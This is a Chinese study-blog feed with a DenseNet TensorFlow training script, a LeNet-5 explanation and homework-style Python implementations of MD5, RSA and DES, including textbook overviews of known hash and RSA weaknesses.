training=self.training) # print(x) return x def transition_layer(self, x, scope): with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope + '_batch1') x = Relu(x) x = conv_layer(x, filter=self.filters, kernel=[1,1], layer_name=scope+'_conv1') # https://github.com/taki0112/Densenet-Tensorflow/issues/10 #in_channel = x.shape[-1] #x = conv_layer(x, filter=in_channel * 1, kernel=[1, 1], layer_name=scope + '_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Average_pooling(x, pool_size=[1, 2], stride=2) return x def dense_block(self, input_x, nb_layers, layer_name): with tf.name_scope(layer_name): layers_concat = list() layers_concat.append(input_x) x = self.bottleneck_layer(input_x, scope=layer_name + '_bottleN_' + str(0)) layers_concat.append(x) for i in range(nb_layers - 1): x = Concatenation(layers_concat) x = self.bottleneck_layer(x, scope=layer_name + '_bottleN_' + str(i + 1)) layers_concat.append(x) x = Concatenation(layers_concat) return x def Dense_net(self, input_x): x = conv_layer(input_x, filter=2 * self.filters, kernel=[1, 7], stride=2, layer_name='conv0')#卷积 x = Max_Pooling(x, pool_size=[1, 3], stride=2)#最大池化 for i in range(self.nb_blocks): # 6 -> 12 -> 48 x = self.dense_block(input_x=x, nb_layers=2, layer_name='dense_' + str(i)) x = self.transition_layer(x, scope='trans_' + str(i)) """ x = self.dense_block(input_x=x, nb_layers=6, layer_name='dense_1') x = self.transition_layer(x, scope='trans_1') x = self.dense_block(input_x=x, nb_layers=12, layer_name='dense_2') x = self.transition_layer(x, scope='trans_2') x = self.dense_block(input_x=x, nb_layers=48, layer_name='dense_3') x = self.transition_layer(x, scope='trans_3') """ x = self.dense_block(input_x=x, nb_layers=4, layer_name='dense_final') # 100 Layer x = Batch_Normalization(x, training=self.training, scope='linear_batch') x = Relu(x) x = Global_Average_Pooling(x) x = flatten(x) x = Linear(x) # x = tf.reshape(x, [-1, 10]) return xdef convert_to_one_hot(Y, C): #转为1位热码编码 Y = np.eye(C)[Y.reshape(-1)].T return Ystring0=np.loadtxt('4.30+5.1.txt',dtype=np.float32)trainy=string0[:,0].reshape(-1,1).T #1行trainx=string0[:,1:].reshape(1175,-1)trainy= convert_to_one_hot(trainy.astype(int), 2).Tx = tf.placeholder(tf.float32, shape=[None, 500])batch_images = tf.reshape(x, [-1,1,500,1])label = tf.placeholder(tf.float32, shape=[None, 2])training_flag = tf.placeholder(tf.bool)learning_rate = tf.placeholder(tf.float32, name='learning_rate')logits = DenseNet(x=batch_images, nb_blocks=nb_block, filters=growth_k, training=training_flag).modelcost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=label, logits=logits))"""l2_loss = tf.add_n([tf.nn.l2_loss(var) for var in tf.trainable_variables()])optimizer = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=nesterov_momentum, use_nesterov=True)train = optimizer.minimize(cost + l2_loss * weight_decay)In paper, use MomentumOptimizerinit_learning_rate = 0.1but, I'll use AdamOptimizer"""optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate, epsilon=epsilon)train = optimizer.minimize(cost)correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(label, 1))accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float"))tf.summary.scalar('loss', cost)tf.summary.scalar('accuracy', accuracy)saver = tf.train.Saver(tf.global_variables())with tf.Session() as sess: ckpt = tf.train.get_checkpoint_state('./model') if ckpt and tf.train.checkpoint_exists(ckpt.model_checkpoint_path): #寻找模型路径 saver.restore(sess, ckpt.model_checkpoint_path) else: sess.run(tf.global_variables_initializer()) merged = tf.summary.merge_all() #合并默认图中收集的所有摘要。 writer = tf.summary.FileWriter('./logs', sess.graph) #指定一个文件用来保存图 global_step = 0 epoch_learning_rate = init_learning_rate i=1 for epoch in range(total_epochs): if epoch == (total_epochs * 0.5) or epoch == (total_epochs * 0.75): epoch_learning_rate = epoch_learning_rate / 10 total_batch =10 #训练总次数 for step in range(total_batch): start = (step * BATCH_SIZE) % DATA_SIZE end = min(start + BATCH_SIZE, DATA_SIZE) # 每次选取batch_size个样本进行训练 # _, loss_value, step = sess.run([train_op, loss, global_step], feed_dict={x: trainx[start: end], y_: trainy[start: end]}) batch_x =trainx[start: end] batch_y =trainy[start: end] train_feed_dict = { x: batch_x, label: batch_y, learning_rate: epoch_learning_rate, training_flag: True } _, loss = sess.run([train, cost], feed_dict=train_feed_dict) if epoch % 10 == 0: global_step += 100 train_summary, train_accuracy = sess.run( [merged,accuracy], feed_dict=train_feed_dict) #t_accuracy = sess.run(accuracy,feed_dict={x:batch_x,label:batch_y}) print("Step:", epoch, "Loss:", loss, "Training accuracy:", train_accuracy) writer.add_summary(train_summary, global_step=epoch) acc_print.append(train_accuracy) acc_printy.append(loss) acc_printx.append(i) i+=1 test_feed_dict = { x: trainx[start:end], label: trainy[start:end], learning_rate: epoch_learning_rate, training_flag: False } #accuracy_rates = sess.run(accuracy, feed_dict=test_feed_dict) #print('Epoch:', '%04d' % (epoch + 1), '/ Accuracy =', accuracy_rates) # writer.add_summary(test_summary, global_step=epoch) plt.title("trend of accuracy") plt.plot(acc_printx,acc_print,color='r') plt.plot(acc_printx,acc_printy,color='cyan') plt.show() saver.save(sess=sess, save_path='./model/dense.ckpt')
不得不说还是很强大的。
参考连接
https://zhuanlan.zhihu.com/p/37189203
]]>LeNet-5共有7层,不包含输入,每层都包含可训练参数(连接权重)。输入图像为32*32大小。这要比Mnist数据库(一个公认的手写数据库)中最大的字母还大。这样做的原因是希望潜在的明显特征如笔画断电或角点能够出现在最高层特征监测子感受野的中心。
卷积层采用的都是5x5大小的卷积核/过滤器,且卷积核每次滑动一个像素,一个特征图谱使用同一个卷积核. 每个上层节点的值乘以连接上的参数,把这些乘积及一个偏置参数相加得到一个和,把该和输入激活函数,激活函数的输出即是下一层节点的值 。
下抽样层采用的是2x2的输入域,即上一层的4个节点作为下一层1个节点的输入,且输入域不重叠,即每次滑动2个像素,下抽样节点的结构如下:
上图显示的是一种池化方式,但是lenet-5采用的是最大池化,直白点说就是四个格子取最大的值。
得出的值乘以一个参数加上一个偏置参数作为激活函数的输入,激活函数的输出即是下一层节点的值。
输入图片:32×32
卷积核大小:5×5
卷积核种类:6
输出featuremap大小:28*28 (32-5+1)
神经元数量:28×28×6
可训练参数:(5×5+1)×6(每个滤波器5*5=25个unit参数和一个bias参数,一共6个滤波器)
连接数:(5×5+1)×6×28×28
C1层是卷积层,形成6个特征图谱。卷积的输入区域大小是5x5,每个特征图谱内参数共享,即每个特征图谱内只使用一个共同卷积核,卷积核有5x5个连接参数加上1个偏置共26个参数。卷积区域每次滑动一个像素,这样卷积层形成的每个特征图谱大小是(32-5)/1+1=28x28。C1层共有26x6=156个训练参数,有(5x5+1)x28x28x6=122304个连接。
输入:28×28
采样区域:2×2
采样方式:4个输入相加,乘以一个可训练参数,再加上一个可训练偏置。结果通过sigmoid
采样种类:6
输出featureMap大小:14×14(28/2)
神经元数量:14×14×6
可训练参数:2×6(和的权+偏置)
连接数:(2×2+1)×6×14×14
S2中每个特征图的大小是C1中特征图大小的1/4
S2层是一个下采样层。C1层的6个28x28的特征图谱分别进行以2x2为单位的下抽样得到6个14x14((28-2)/2+1)的图。每个特征图谱使用一个下抽样核。5(S2中的每个像素都与C1中的2∗2个像素和1个偏置相连接)x14x14x6=5880个连接。
为什么是下采样?利用图像局部相关性的原理,对图像进行子抽样,可以减少数据处理量同时保留有用信息 。
有6个14×14的特征图。特征图中的每个单元与C1中相对应特征图的2×2邻域相连接。S2层每个单元的4个输入相加,乘以一个可训练参数,再加上一个可训练偏置。结果通过sigmoid函数计算。可训练系数和偏置控制着sigmoid函数的非线性程度。如果系数比较小,那么运算近似于线性运算,亚采样相当于模糊图像。如果系数比较大,根据偏置的大小亚采样可以被看成是有噪声的“或”运算或者有噪声的“与”运算。每个单元的2×2感受野并不重叠,因此S2中每个特征图的大小是C1中特征图大小的1/4(行和列各1/2)。S2层有12个可训练参数和5880个连接。
图:卷积和子采样过程:卷积过程包括:用一个可训练的滤波器fx去卷积一个输入的图像(第一阶段是输入的图像,后面的阶段就是卷积特征map了),然后加一个偏置bx,得到卷积层Cx。子采样过程包括:每邻域四个像素求和变为一个像素,然后通过标量Wx+1加权,再增加偏置bx+1,然后通过一个sigmoid激活函数,产生一个大概缩小四倍的特征映射图Sx+1。
所以从一个平面到下一个平面的映射可以看作是作卷积运算,S-层可看作是模糊滤波器,起到二次特征提取的作用。隐层与隐层之间空间分辨率递减,而每层所含的平面数递增,这样可用于检测更多的特征信息。
输入:S2中所有6个或者几个特征map组合
卷积核大小:5×5
卷积核种类:16
输出featureMap大小:10×10
C3中的每个特征map是连接到S2中的所有6个或者几个特征map的,表示本层的特征map是上一层提取到的特征map的不同组合
存在的一个方式是:C3的前6个特征图以S2中3个相邻的特征图子集为输入。接下来6个特征图以S2中4个相邻特征图子集为输入。然后的3个以不相邻的4个特征图子集为输入。最后一个将S2中所有特征图为输入。
则:可训练参数:6×(3×25+1)+6×(4×25+1)+3×(4×25+1)+(25×6+1)=1516
连接数:10×10×1516=151600
C3层是一个卷积层,卷积和和C1相同,不同的是C3的每个节点与S2中的多个图相连。 每个图与S2层的连接的方式如下表 所示。C3与S2中前3个图相连的卷积结构见下图.这种不对称的组合连接的方式有利于提取多种组合特征。
输入:10×10
采样区域:2×2
采样方式:4个输入相加,乘以一个可训练参数,再加上一个可训练偏置。结果通过sigmoid
采样种类:16
输出featureMap大小:5×5(10/2)
神经元数量:5×5×16=400
可训练参数:2×16=32(和的权+偏置)
连接数:16×(2×2+1)×5×5=2000
S4中每个特征图的大小是C3中特征图大小的1/4
S4层是一个下采样层,由16个55大小的特征图构成。特征图中的每个单元与C3中相应特征图的22邻域相连接,跟C1和S2之间的连接一样。S4层有32个可训练参数(每个特征图1个因子和一个偏置)和2000个连接。
输入:S4层的全部16个单元特征map(与s4全相连)
卷积核大小:5×5
卷积核种类:120
输出featureMap大小:1×1(5-5+1)
可训练参数/连接:120×(16×5×5+1)=48120
C5层是一个全连接层。由于S4层的16个图的大小为5x5,与卷积核的大小相同,所以卷积后形成的图的大小为1x1。这里形成120个卷积结果。每个都与上一层的16个图相连。所以共有(5x5x16+1)x120 = 48120个参数,同样有48120个连接。
输入:c5 120维向量
计算方式:计算输入向量和权重向量之间的点积,再加上一个偏置,结果通过sigmoid函数
可训练参数:84*(120+1)=10164
F6层有84个单元(之所以选这个数字的原因来自于输出层的设计),与C5层全相连。有10164个可训练参数。如同经典神经网络,F6层计算输入向量和权重向量之间的点积,再加上一个偏置。然后将其传递给sigmoid函数产生单元i的一个状态。
输出层由欧式径向基函数(Euclidean Radial Basis Function)单元组成,每类一个单元,每个有84个输入。换句话说,每个输出RBF单元计算输入向量和参数向量之间的欧式距离。输入离参数向量越远,RBF输出的越大。一个RBF输出可以被理解为衡量输入模式和与RBF相关联类的一个模型的匹配程度的惩罚项。用概率术语来说,RBF输出可以被理解为F6层配置空间的高斯分布的负log-likelihood。给定一个输入模式,损失函数应能使得F6的配置与RBF参数向量(即模式的期望分类)足够接近。这些单元的参数是人工选取并保持固定的(至少初始时候如此)。这些参数向量的成分被设为-1或1。虽然这些参数可以以-1和1等概率的方式任选,或者构成一个纠错码,但是被设计成一个相应字符类的7*12大小(即84)的格式化图片。这种表示对识别单独的数字不是很有用,但是对识别可打印ASCII集中的字符串很有用。
使用这种分布编码而非更常用的“1 of N”编码用于产生输出的另一个原因是,当类别比较大的时候,非分布编码的效果比较差。原因是大多数时间非分布编码的输出必须为0。这使得用sigmoid单元很难实现。另一个原因是分类器不仅用于识别字母,也用于拒绝非字母。使用分布编码的RBF更适合该目标。因为与sigmoid不同,他们在输入空间的较好限制的区域内兴奋,而非典型模式更容易落到外边。RBF参数向量起着F6层目标向量的角色。需要指出这些向量的成分是+1或-1,这正好在F6 sigmoid的范围内,因此可以防止sigmoid函数饱和。实际上,+1和-1是sigmoid函数的最大弯曲的点处。这使得F6单元运行在最大非线性范围内。必须避免sigmoid函数的饱和,因为这将会导致损失函数较慢的收敛和病态问题。
这个的话建议看一些机器学习的网课,比如网易云课堂上吴恩达的课。
https://github.com/1187100546/CNN_LeNet-5_onedimension
参考链接
https://blog.csdn.net/zrh_CSDN/article/details/81267873
https://www.jianshu.com/p/ce609f9b5910
https://blog.csdn.net/qiaofangjie/article/details/16826849
]]>使消息长度模512=448如果消息长度模512恰等于448,增加512个填充比特。即填充的个数为1~512,填充方法:第1比特为1,其余全部为0
将消息长度转换为64比特的数值,如果长度超过64比特所能表示的数据长度,值保留最后64比特添加到填充数据后面,使数据为512比特的整数倍
512比特按32比特分为16组
注:64位数据长度存储的时候是小端序
使用4个32位的寄存器A, B,C, D存放4个固定的32位整型参数,用于第一轮迭代,这里需要注意的是,寄存器的值要转化为小端序。
$$ A=0x01234567\\B=0x89abcdef\\C=0xfedcba98\\D=0x76543210$$
与分组密码分组处理相似,有4轮步骤,将512比特的消息分组平均分为16个子分组,每个子分组有32比特,参与每一轮的的16步运算,每步输入是4个32比特的链接变量和一个32位的的消息子分组,经过这样的64步之后得到4个寄存器的值分别与输入的链接变量进行模加。
该函数包括 4 轮,每轮 16 步,上一步的链接变量 D, B, C 直接赋值给下一步的链接变量 A, C, D。
A 先和非线性函数的结果加一下,结果再和 M[j] 加一下,结果再和 T[i] 加一下,结果再循环左移 s 次,结果再和原来的 B 加一下,最后的得到新 B。
非线性函数:
length = struct.pack('<Q', len(message)*8) #原消息长度64位比特的添加格式 while len(message) > 64: solve(message[:64]) message = message[64:] #长度不足64位消息自行填充 message += b'\x80' message += b'\x00' * (56 - len(message) % 64) message += lengthsolve(message[:64])
A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)
def solve(chunk): global A global B global C global D w = list(struct.unpack('<' + 'I' * 16, chunk)) #分成16个组,I代表1组32位 a, b, c, d = A, B, C, D for i in range(64): #64轮运算 if i < 16: #每一轮运算只用到了b,c,d三个 f = ( b & c)|((~b) & d) flag = i #用于标识处于第几组信息 elif i < 32: f = (b & d)|(c & (~d)) flag = (5 * i +1) %16 elif i < 48: f = (b ^ c ^ d) flag = (3 * i + 5)% 16 else: f = c ^(b |(~d)) flag = (7 * i ) % 16 tmp = b + lrot((a + f + k[i] + w[flag])& 0xffffffff,r[i]) #&0xffffffff为了类型转换 a, b, c, d = d, tmp & 0xffffffff, b, c A = (A + a) & 0xffffffff B = (B + b) & 0xffffffff C = (C + c) & 0xffffffffD = (D + d) & 0xffffffff
找一个在线加密的网站验证一下
攻击者的主要目标不是恢复原始的明文,而是用非法消息替代合法消息进行伪造和欺骗,对哈希函数的攻击也是寻找碰撞的过程。
基本攻击方法:
(1)穷举攻击:能对任何类型的Hash函数进行攻击
最典型方法是“生日攻击”:给定初值𝐻0=H(M),寻找𝑀’≠ 𝑀,使ℎ(𝑀’)= 𝐻0
(2)密码分析法:依赖于对Hash函数的结构和代数性质分析,采用针对Hash函数弱性质的方法进行攻击。这类攻击方法有中间相遇攻击、修正分组攻击和差分分析等
MD5算法中,输出的每一位都是输入的每一位的函数,逻辑函数F、G、H、I的复杂迭代使得输出对输入的依赖非常小
但Berson证明,对单轮的MD5算法,利用差分分析,可以在合理时间内找出碰撞的两条消息
MD5算法抗密码分析的能力较弱,生日攻击所需代价是试验264个消息
2004年8月17日,在美国加州圣巴巴拉召开的美密会(Crypto2004)上,中国的王小云、冯登国、来学嘉、于红波4位学者宣布,只需1小时就可找出MD5的碰撞(利用差分分析)
import structimport mathimport binasciilrot = lambda x,n: (x << n)|(x >> 32- n) #循环左移的操作#初始向量A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)# A, B, C, D = (0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210)#循环左移的位移位数r = [ 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21 ]#使用正弦函数产生的位随机数,也就是书本上的T[i]k = [int(math.floor(abs(math.sin(i + 1)) * (2 ** 32))) for i in range(64)]def init_mess(message): global A global B global C global D A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # A, B, C, D = (0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210) length = struct.pack('<Q', len(message)*8) #原消息长度64位比特的添加格式 while len(message) > 64: solve(message[:64]) message = message[64:] #长度不足64位消息自行填充 message += b'\x80' message += b'\x00' * (56 - len(message) % 64) message += length solve(message[:64])def solve(chunk): global A global B global C global D w = list(struct.unpack('<' + 'I' * 16, chunk)) #分成16个组,I代表1组32位 a, b, c, d = A, B, C, D for i in range(64): #64轮运算 if i < 16: #每一轮运算只用到了b,c,d三个 f = ( b & c)|((~b) & d) flag = i #用于标识处于第几组信息 elif i < 32: f = (b & d)|(c & (~d)) flag = (5 * i +1) %16 elif i < 48: f = (b ^ c ^ d) flag = (3 * i + 5)% 16 else: f = c ^(b |(~d)) flag = (7 * i ) % 16 tmp = b + lrot((a + f + k[i] + w[flag])& 0xffffffff,r[i]) #&0xffffffff为了类型转换 a, b, c, d = d, tmp & 0xffffffff, b, c A = (A + a) & 0xffffffff B = (B + b) & 0xffffffff C = (C + c) & 0xffffffff D = (D + d) & 0xffffffffdef digest(): global A global B global C global D return struct.pack('<IIII',A,B,C,D)def hex_digest(): return binascii.hexlify(digest()).decode()if __name__ == '__main__': while True: mess = input("请输入你的信息:") init_mess(mess.encode()) out_put = hex_digest() print(type(out_put)) print (out_put)
]]>计算𝑛=𝑝×𝑞, (𝑛)=(𝑝-1)×(𝑞-1)
选择整数 𝑒 使 ((𝑛),𝑒) =1, 1<𝑒< (𝑛)
计算𝑑,使𝑑=𝑒-1 𝑚𝑜𝑑 (𝑛),
得到:公钥为{𝑒, 𝑛}; 私钥为{𝑑}
加密(用𝒆,𝒏): 明文𝑀<𝑛, 密文𝐶=𝑀^𝑒 (𝑚𝑜𝑑 𝑛).
解密(用𝒅,𝒏): 密文𝐶, 明文𝑀 =𝐶^𝑑 (𝑚𝑜𝑑 𝑛)
Miler-Rabin 算法:
对于大整数的素性测试,一般用 Miller-Rabin 算法。它是一个基于概率的算法,是费马小定理(若 n 是一个素数,则 an-1 ≡ 1 (mod n) )的一个改进。要测试 n 是否为素数,首先将 n−1 分解为 2sd 。在每次测试开始时,先随机选一个介于 [1,n−1] 的整数 a ,之后如果对所有的 r∈[0,s−1] ,若admodn≠1 且 a2rd mod n≠−1,则 n 是合数。否则,n 有 3/4 的概率为素数。增加测试的次数,该数是素数的概率会越来越高。这样,我们就可以给定位数 n 的情况下随机生成数,然后再用 Miller-Rabin 算法验证它是不是素数,若是,则就用它,否则再随机生成其他数字,循环。Python 脚本如下:
# 素性检验:采用 Miler-Rabin 检验法def miller_rabin(n,k=80): if n == 2 or n == 3: return True if n % 2 == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True# 生成 b 位的素数def genPrime(b=1024): while True: # the highest bit is 1 ans = "1" for i in range(b-2): ans += str(random.randint(0,1)) # the lowest bit is 1 ans += "1" ans = int(ans,2) if miller_rabin(ans): return ans
原理:模重复平方运算,Python 代码如下:
def FastMod(x, n, m): a = 1 b = x while True: temp = n if n % 2 == 1 : a = a * b % m b = b * b % m n = n//2 if temp < 1 : return a
扩展欧几里得法
def computeD(e, phi_n): (x, y, r) = extendedGCD(phi_n, e) # y maybe < 0, so convert it if y < 0: return phi_n + y return y# Extended Euclidean algorithmdef extendedGCD(a, b): # a*xi + b*yi = ri if b == 0: return (1, 0, a) # a*x1 + b*y1 = a x1 = 1 y1 = 0 # a*x2 + b*y2 = b x2 = 0 y2 = 1 while b != 0: q = a // b # ri = r(i-2) % r(i-1) r = a % b a = b b = r # xi = x(i-2) - q*x(i-1) x = x1 - q*x2 x1 = x2 x2 = x # yi = y(i-2) - q*y(i-1) y = y1 - q*y2 y1 = y2 y2 = yreturn(x1, y1, a)
RSA的安全性依赖于大数分解问题,目前,还未能从数学上证明由𝑐和𝑒计算出𝑚一定需要分解𝑛,然而,如果新方法能使密码分析者推算出𝑑,它也就成为大数分解的一个新方法
非对称加密算法中 1024 bit 密钥的强度相当于对称加密算法 80bit 密钥的强度。但是,从效率上,密钥长度增长一倍,公钥操作所需时间增加约 4 倍,私钥操作所需时间增加约 8 倍,公私钥生成时间约增长16倍。所以,我们要权衡一下效率和安全性。一般来说, 1024 bit 只能用于加密 最多117 字节的明文。
低加密指数攻击:
为了使加密高效,一般希望选取较小的加密指数 e ,但是 e 不能太小,否则容易遭到低加密指数攻击。
假设用户使用的密钥 e=3 。考虑到加密关系满足:
则容易得到:
攻击者可以从小到大枚举 k ,依次开三次根,直到开出整数为止。
低加密指数广播攻击:
还有一种情况是如果给 k 个用户发的都是同个低加密指数比如 e=3 ,在不同的模数 n1.n2,n3下 ,可由 CRT(中国剩余定理) 解出 m3 ,从而直接开三次根解出 m。
共模攻击:
场景:n 相同(让多个用户使用相同的模数 n ),但他们的公私钥对不同。这样,我们可以在已知 n,e1,e2,c1,c2 的情况下解出 m 。过程如下:
其实有个隐形的前提条件是:
存在 s1,s2 使得:
又由 RSA 定义可知:
可得出:
解出明文。
import randomdef FastMod(x, n, m): a = 1 b = x while True: temp = n if n % 2 == 1 : a = a * b % m b = b * b % m n = n//2 if temp < 1 : return adef computeD(e, phi_n): (x, y, r) = extendedGCD(phi_n, e) if y < 0: return phi_n + y return ydef extendedGCD(a, b): if b == 0: return (1, 0, a) x1 = 1 y1 = 0 x2 = 0 y2 = 1 while b != 0: q = a // b r = a % b a = b b = r x = x1 - q*x2 x1 = x2 x2 = x y = y1 - q*y2 y1 = y2 y2 = y return(x1, y1, a)def str2Hex(m): return "".join("{:02x}".format(ord(x)) for x in m)# 素性检验:采用 Miler-Rabin 检验法def miller_rabin(n,k=80): if n == 2 or n == 3: return True if n % 2 == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True# 生成 b 位的素数def genPrime(b=1024): while True: # the highest bit is 1 ans = "1" for i in range(b-2): ans += str(random.randint(0,1)) # the lowest bit is 1 ans += "1" ans = int(ans,2) if miller_rabin(ans): return ansdef genE(phi_n): while True: e = genPrime(b=random.randint(3,13)) if e == 3 or e == 5: continue if phi_n%e != 0: return edef RSAEncrypt(m,n,e): m = int(str2Hex(m),16) c = pow(m,e,n) return cdef RSADecrypt(c,d,n): m = pow(c,d,n) m = bytes.fromhex('{:x}'.format(m)) return mdef main(): # 生成两个大素数p和q print ("Generate p and q ......") p = genPrime() q = genPrime() print ("p = "+str(p)) print ("q = "+str(q)) # 计算n = p*q n = p*q print ("n = "+str(n)) # 计算φ(n) = p*q phi_n = (p-1)*(q-1) print ("\nGenerate e ......") # 生成一个和φ(n)互素的数e e = genE(phi_n) print ("e = "+str(e)) m = "Hello world!" # 加密算法 print ("\n"+8*"*"+" Encryption "+8*"*") Ciphertext = RSAEncrypt(m,n,e) print ("The Ciphertext is:\n\t"+str(Ciphertext)) # 解密算法 print ("\n"+8*"*"+" Decryption "+8*"*") # 使用私钥d,d是e模φ(n)的逆 d = computeD(e,phi_n) print ("d = "+str(d)) Plaintext = RSADecrypt(Ciphertext,d,n) print ("The Plaintext is:\n\t"+str(Plaintext))if __name__ == '__main__':main()
]]>DES是分组加密,将明文分成64位一组,密钥长度 64 比特(其中有效长度为 56 比特),8 的倍数位为奇校验位(保证每 8 位有奇数个 1)。
如图,64 比特的密钥经过置换选择和循环移位操作可生成 16 个 48 比特的子密钥。明文 m 经过初始置换 IP 后划分为左右两部分(各32 比特),经过 16 轮 Feistel 结果(其中最后一轮不做左右交换)再做一次逆置换 IP-1得到密文 c 。
加密方程:
解密方程:
由此可见DES是一个对合运算。
用于生成迭代的子密钥。具体过程为:
64位初始密钥经过置换选择1 ( PC-1 ) 后变成 56 位,经过循环左移和置换选择2 ( PC-2 ) 后分别得到 16 个 48 位子密钥 Ki 用做每一轮的迭代运算。
PC-1 去掉了校验位, PC-2 去掉了9, 18, 22, 25, 35, 38, 43, 54 位。
先进行E-扩展:32比特扩展为48比特
将E盒扩展得到的48位输出与子密钥𝐾𝑖进行异或运算
l压缩替换S-盒,由8个S-盒构成, 每个S-盒都是6比特的输入,4比特的输出
P-置换对8个S-盒的输出进行变换
#PC-1盒def key_change_1(st): key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4] #得到56位,去掉校验位 res = "" for i in key1_list: res+=st[i-1] return res#PC-2盒def key_change_2(st): key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32] #压缩置换 #去掉9,18,22,25,35,38,43,54位得到48位 res = "" for i in key2_list: res+=st[i-1] return res#16轮迭代生成子密钥def key_gen(st): key_list = []#子密钥表 key_change_res = key_change_1(st) #PC-1置换分成C,D两块 key_c = key_change_res[0:28] key_d = key_change_res[28:] for i in range(1,17): #共16轮 if (i==1) or (i==2) or (i==9) or (i==16):#按轮数循环左移 key_c = zuoyiwei(key_c,1) key_d = zuoyiwei(key_d,1) else: key_c = zuoyiwei(key_c,2) key_d = zuoyiwei(key_d,2) key_yiwei = key_c+key_d #压缩置换 key_res = key_change_2(key_yiwei) key_list.append(key_res)return key_list
#E盒扩展置换,将32位输出扩展至48位def box_e(st): #E盒置换表 e_list = [32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1] res = "" for i in e_list: res +=st[i-1] return res#S盒代换盒def box_s(st): j = 0 #8个S盒代换表 s_list = [[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13], [15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9], [10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12], [7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14], [2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3], [12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13], [4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12], [13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11]] res = "" for i in range(0,len(st),6):#6位输入,4位输出 begin_s = st[i:i+6] row = int(begin_s[0]+begin_s[5],2) col = int(begin_s[1:5],2) num = bin(s_list[j][row*16+col])[2:] for padd in range(0,4-len(num)): num = "0"+num res += num j = j+1 return res#P盒置换def box_p(st): res = "" p_list = [16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25] for i in p_list: res +=st[i-1] return res#封装成F函数def funcF(st,key): str_e_res = box_e(st) xor_res = xor(str_e_res,key) str_s_res = box_s(xor_res) str_p_res = box_p(str_s_res) return str_p_res
